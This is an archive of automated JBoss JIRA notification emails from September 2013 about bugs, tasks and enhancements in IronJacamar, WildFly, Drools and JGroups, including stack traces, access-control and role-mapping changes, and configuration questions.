Reopening as this is still happening and the bugzilla notes seem to suggest this is not actually a duplicate of JBJCA-885, and neither that issue nor bugzilla nor the forums provide any guidance of where this is heading.

Do you need help with a test case?
                
> IronJacamarResourceCreator Throws ConcurrentModificationException
> -----------------------------------------------------------------
>
>                 Key: JBJCA-933
>                 URL: https://issues.jboss.org/browse/JBJCA-933
>             Project: IronJacamar
>          Issue Type: Bug
>    Affects Versions: 1.0.12.Final
>            Reporter: James Olsen
>            Assignee: Jesper Pedersen
>
> I am deploying three RARs in the same EAR and regularly get the exception shown below.
> 14:56:41,913 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.EAR:main" from Service Module Loader
> 14:56:42,018 INFO  [org.jboss.as.osgi] (MSC service thread 1-8) JBAS011907: Register module: Module "deployment.EAR.XXX.rar:main" from Service Module Loader
> 14:56:42,037 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-7) JBAS010406: Registered connection factory java:/eis/XXX
> 14:56:42,045 INFO  [com.xxx.XXXResourceAdapter] (MSC service thread 1-7) #start
> 14:56:42,047 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-7) IJ020002: Deployed: XXX
> 14:56:42,055 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/XXX]
> 14:56:42,057 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.EAR.YYY.rar:main" from Service Module Loader
> 14:56:42,071 INFO  [org.jboss.as.osgi] (MSC service thread 1-5) JBAS011907: Register module: Module "deployment.EAR.ZZZ.rar:main" from Service Module Loader
> 14:56:42,148 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-8) JBAS010406: Registered connection factory java:/eis/ZZZ
> 14:56:42,150 INFO  [com.yyy.YYYResourceAdapter] (MSC service thread 1-8) #start
> 14:56:42,161 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-8) IJ020002: Deployed: ZZZ
> 14:56:42,167 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/ZZZ]
> 14:56:42,173 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-6) JBAS010406: Registered connection factory java:/eis/YYY
> 14:56:42,176 INFO  [com.zzz.ZZZResourceAdapter] (MSC service thread 1-6) #start
> 14:56:42,177 ERROR [org.jboss.msc.service] (MSC service thread 1-7) MSC00002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at 21641d7d" failed: java.util.ConcurrentModificationException
> 	at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_09]
> 	at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_09]
> 	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:268) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:283) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:160) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:153) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1416) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl.access$2700(ServiceControllerImpl.java:49) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:1954) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) [rt.jar:1.7.0_09]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) [rt.jar:1.7.0_09]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_09]
> 14:56:42,182 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) IJ020002: Deployed: YYY
> 14:56:42,190 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/YYY]
> I've replaced the real names of my components with XXX, YYY and ZZZ in a consistent way above.  The problem seems to be during the interleaving of YYY and ZZZ.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 09:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 15 Sep 2013 09:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-924) Reduce the log level of
 optional components failing to start log message (JBAS011006 message id)
In-Reply-To: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12470562.1342479956000.26705.1379250663930@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804328#comment-12804328 ] 

RH Bugzilla Integration commented on WFLY-924:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 900711|https://bugzilla.redhat.com/show_bug.cgi?id=900711] from POST to MODIFIED
                
> Reduce the log level of optional components failing to start log message (JBAS011006 message id)
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-924
>                 URL: https://issues.jboss.org/browse/WFLY-924
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>    Affects Versions: 8.0.0.Alpha2
>         Environment: JBoss EAP 6.0 GA, web services subsystem removed, war deployed containing Metro or CXF web services implementation
>            Reporter: Brad Maxwell
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha3
>
>
> It tries to create this class if CXF is packaged in the war: org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation 
> And this stack is logged as a warning:
> 11:08:40,879 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.test.war:main" from Service Module Loader
> 11:08:40,905 WARN  [org.jboss.as.ee] (MSC service thread 1-6) JBAS011006: Not installing optional component org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]
> If Metro is packaged in the war, it tries to load com.sun.xml.ws.transport.http.servlet.WSAsyncListener and logs a warning with this stack: 
> 16:48:57,302 WARN  [org.jboss.as.ee] (MSC service thread 1-1) JBAS011006: Not installing optional component com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1 due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 09:59:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Sun, 15 Sep 2013 09:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for an
 include-all option on individual role mappings.
In-Reply-To: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668000.26710.1379253543550@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2068?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2068:
-----------------------------------

    Summary: Add support for an include-all option on individual role mappings.  (was: Add support for <all /> in the role-mapping include definitions.)

    
> Add support for an include-all option on individual role mappings.
> ------------------------------------------------------------------
>
>                 Key: WFLY-2068
>                 URL: https://issues.jboss.org/browse/WFLY-2068
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 09:59:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Sun, 15 Sep 2013 09:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for an
 include-all option on individual role mappings.
In-Reply-To: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668000.26714.1379253543803@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2068?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2068:
-----------------------------------

    Description: The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.

    
> Add support for an include-all option on individual role mappings.
> ------------------------------------------------------------------
>
>                 Key: WFLY-2068
>                 URL: https://issues.jboss.org/browse/WFLY-2068
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 10:01:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Sun, 15 Sep 2013 10:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for an
 include-all option on individual role mappings.
In-Reply-To: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668000.26718.1379253664010@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2068?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2068:
-----------------------------------

    Description: 
The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.

At the same time whilst in this area, the individual include/exclude mappings use an arbitrary value in the address, this should be persisted as an alias in the XML so that when the model is reloaded addresses will be consistent. 

  was:The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.


    
> Add support for an include-all option on individual role mappings.
> ------------------------------------------------------------------
>
>                 Key: WFLY-2068
>                 URL: https://issues.jboss.org/browse/WFLY-2068
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.
> At the same time whilst in this area, the individual include/exclude mappings use an arbitrary value in the address, this should be persisted as an alias in the XML so that when the model is reloaded addresses will be consistent. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 12:57:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Sun, 15 Sep 2013 12:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2074) Remove message IDs from
 messages used by add-user informing the user the password requirements.
In-Reply-To: <JIRA.12500730.1379264158108@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500730.1379264158108@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500730.1379264158108.26740.1379264223435@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2074:
--------------------------------------

             Summary: Remove message IDs from messages used by add-user informing the user the password requirements.
                 Key: WFLY-2074
                 URL: https://issues.jboss.org/browse/WFLY-2074
             Project: WildFly
          Issue Type: Task
          Components: Domain Management, Scripts
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


They are only information messages not errors - they don't need message IDs.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 13:47:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 15 Sep 2013 13:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170000.26752.1379267223416@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1980?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-1980.
------------------------------------

    Resolution: Done


Fixed by actually applying the constraint. Also, the constraint make "address" sensitive, which isn't ideal for /core-service=management/access=authorization but is appropriate for many sub-resources. IMO the non-ideal situation for the parent resource is minor, and the alternative of having separate a separate classification for the children is worse.
                
> Revisit priviledges for /core-service=management/access=authorization
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1980
>                 URL: https://issues.jboss.org/browse/WFLY-1980
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:
> {noformat}
> [standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
> {
>     "outcome" => "success",
>     "result" => {
>         "provider" => "simple",
>         "use-realm-roles" => false,
>         "constraint" => {
>             "application-classification" => undefined,
>             "sensitivity-classification" => undefined,
>             "vault-expression" => undefined
>         },
>         "role-mapping" => {"SuperUser" => undefined}
>     }
> }
> {noformat}
> I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 13:49:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 15 Sep 2013 13:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1820) Report data about what
 resources/attributes/ops a SensitivityClassification or
 ApplicationTypeConfig are applied to
In-Reply-To: <JIRA.12497920.1375654571000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497920.1375654571000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497920.1375654571000.26755.1379267343943@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1820?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-1820:
--------------------------------------

    Assignee: Brian Stansberry  (was: Tomaz Cerar)


Tomaz, if you have an WIP on this, please let me know.
                
> Report data about what resources/attributes/ops a SensitivityClassification or ApplicationTypeConfig are applied to
> -------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1820
>                 URL: https://issues.jboss.org/browse/WFLY-1820
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> Track where the configurable access control constraints are applied and report this data in the management resources used for configuring them.
> A nice-to-have for this first iteration.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 20:36:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 15 Sep 2013 20:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2075) ModelController JMX
 integration doesn't filter out bogus attributes from resource descriptions
In-Reply-To: <JIRA.12500735.1379291725580@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500735.1379291725580@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500735.1379291725580.26780.1379291763319@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2075:
--------------------------------------

             Summary: ModelController JMX integration doesn't filter out bogus attributes from resource descriptions
                 Key: WFLY-2075
                 URL: https://issues.jboss.org/browse/WFLY-2075
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management, JMX
    Affects Versions: 8.0.0.Alpha4
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
            Priority: Minor
             Fix For: 8.0.0.Beta1


If the resource description provided by a resource includes a bogus attribute that is actually a child type, the JMX integration produces an MBeanAttributeInfo for it. MBeanInfoFactory can detect this situation and should do so.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 22:36:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 15 Sep 2013 22:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2075) ModelController JMX
 integration doesn't filter out bogus attributes from resource descriptions
In-Reply-To: <JIRA.12500735.1379291725000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500735.1379291725000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500735.1379291725000.26798.1379298963325@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2075?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-2075.
------------------------------------

    Resolution: Done

    
> ModelController JMX integration doesn't filter out bogus attributes from resource descriptions
> ----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2075
>                 URL: https://issues.jboss.org/browse/WFLY-2075
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, JMX
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> If the resource description provided by a resource includes a bogus attribute that is actually a child type, the JMX integration produces an MBeanAttributeInfo for it. MBeanInfoFactory can detect this situation and should do so.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 02:23:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 02:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.26825.1379312583479@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804357#comment-12804357 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

":^A?????%??R?","xuk?^[^L?~^T^N?'a^Y","^X?$??~^?^_%w^R5@^S" are such 'failing' password.
I don't understand how I got Strings that provide more than 16 bytes which is the authkey required length.
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 16 03:49:04 2013
From: jira-events at lists.jboss.org (Marco Rietveld (JIRA))
Date: Mon, 16 Sep 2013 03:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-139) Infinispan based Drools and
 jBPM persistence
In-Reply-To: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491792.1368557821000.26880.1379317744378@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marco Rietveld resolved DROOLS-139.
-----------------------------------

    Resolution: Done

    
> Infinispan based Drools and jBPM persistence
> --------------------------------------------
>
>                 Key: DROOLS-139
>                 URL: https://issues.jboss.org/browse/DROOLS-139
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Final
>            Reporter: Mariano De Maio
>            Assignee: Mark Proctor
>
> I?ve worked on an infinispan based persistence scheme for drools objects.
> The whole idea is to give both a possibility for Infinispan users to have a way to persist these contents in something different than JPA, as well as to give an example of how to build your own persistence scheme for drools and jbpm objects.
> More information about this here: http://marianbuenosayres.wordpress.com/2013/05/14/creating-your-own-drools-and-jbpm-persistence-infinispan/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 16 03:51:03 2013
From: jira-events at lists.jboss.org (Marco Rietveld (JIRA))
Date: Mon, 16 Sep 2013 03:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-139) Infinispan based Drools and
 jBPM persistence
In-Reply-To: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491792.1368557821000.26884.1379317863688@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804366#comment-12804366 ] 

Marco Rietveld commented on DROOLS-139:
---------------------------------------

Present in master/6.1.x.
                
> Infinispan based Drools and jBPM persistence
> --------------------------------------------
>
>                 Key: DROOLS-139
>                 URL: https://issues.jboss.org/browse/DROOLS-139
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Final
>            Reporter: Mariano De Maio
>            Assignee: Mark Proctor
>
> I?ve worked on an infinispan based persistence scheme for drools objects.
> The whole idea is to give both a possibility for Infinispan users to have a way to persist these contents in something different than JPA, as well as to give an example of how to build your own persistence scheme for drools and jbpm objects.
> More information about this here: http://marianbuenosayres.wordpress.com/2013/05/14/creating-your-own-drools-and-jbpm-persistence-infinispan/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 16 03:51:04 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Mon, 16 Sep 2013 03:51:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1695) TUNNEL cannot work without
	PING
In-Reply-To: <JIRA.12500743.1379317768161@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500743.1379317768161@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500743.1379317768161.26891.1379317864229@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1695:
------------------------------

             Summary: TUNNEL cannot work without PING
                 Key: JGRP-1695
                 URL: https://issues.jboss.org/browse/JGRP-1695
             Project: JGroups
          Issue Type: Bug
         Environment: Jgroups 3.4.0.Alpha2
            Reporter: shen kim
            Assignee: Bela Ban


when I used following config:
<TUNNEL gossip_router_hosts="192.168.2.108[8888]" />
<FILE_PING/>
The cluster were not found each other. (The same as any Discovery which not be PING). But if used <PING/> that would be ok.
Is the TUNNEL just only support <PING/> ?


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:20:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 04:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.26944.1379319603719@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun moved HAL-188 to WFLY-2076:
---------------------------------------

          Project: WildFly  (was: HAL)
              Key: WFLY-2076  (was: HAL-188)
         Workflow: GIT Pull Request workflow   (was: jira)
      Component/s: Domain Management
                       (was: Core )
         Security:     (was: Public)
    Fix Version/s: 8.0.0.Beta1
                       (was: Core 2.0.0.Final)

    
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:20:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 04:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
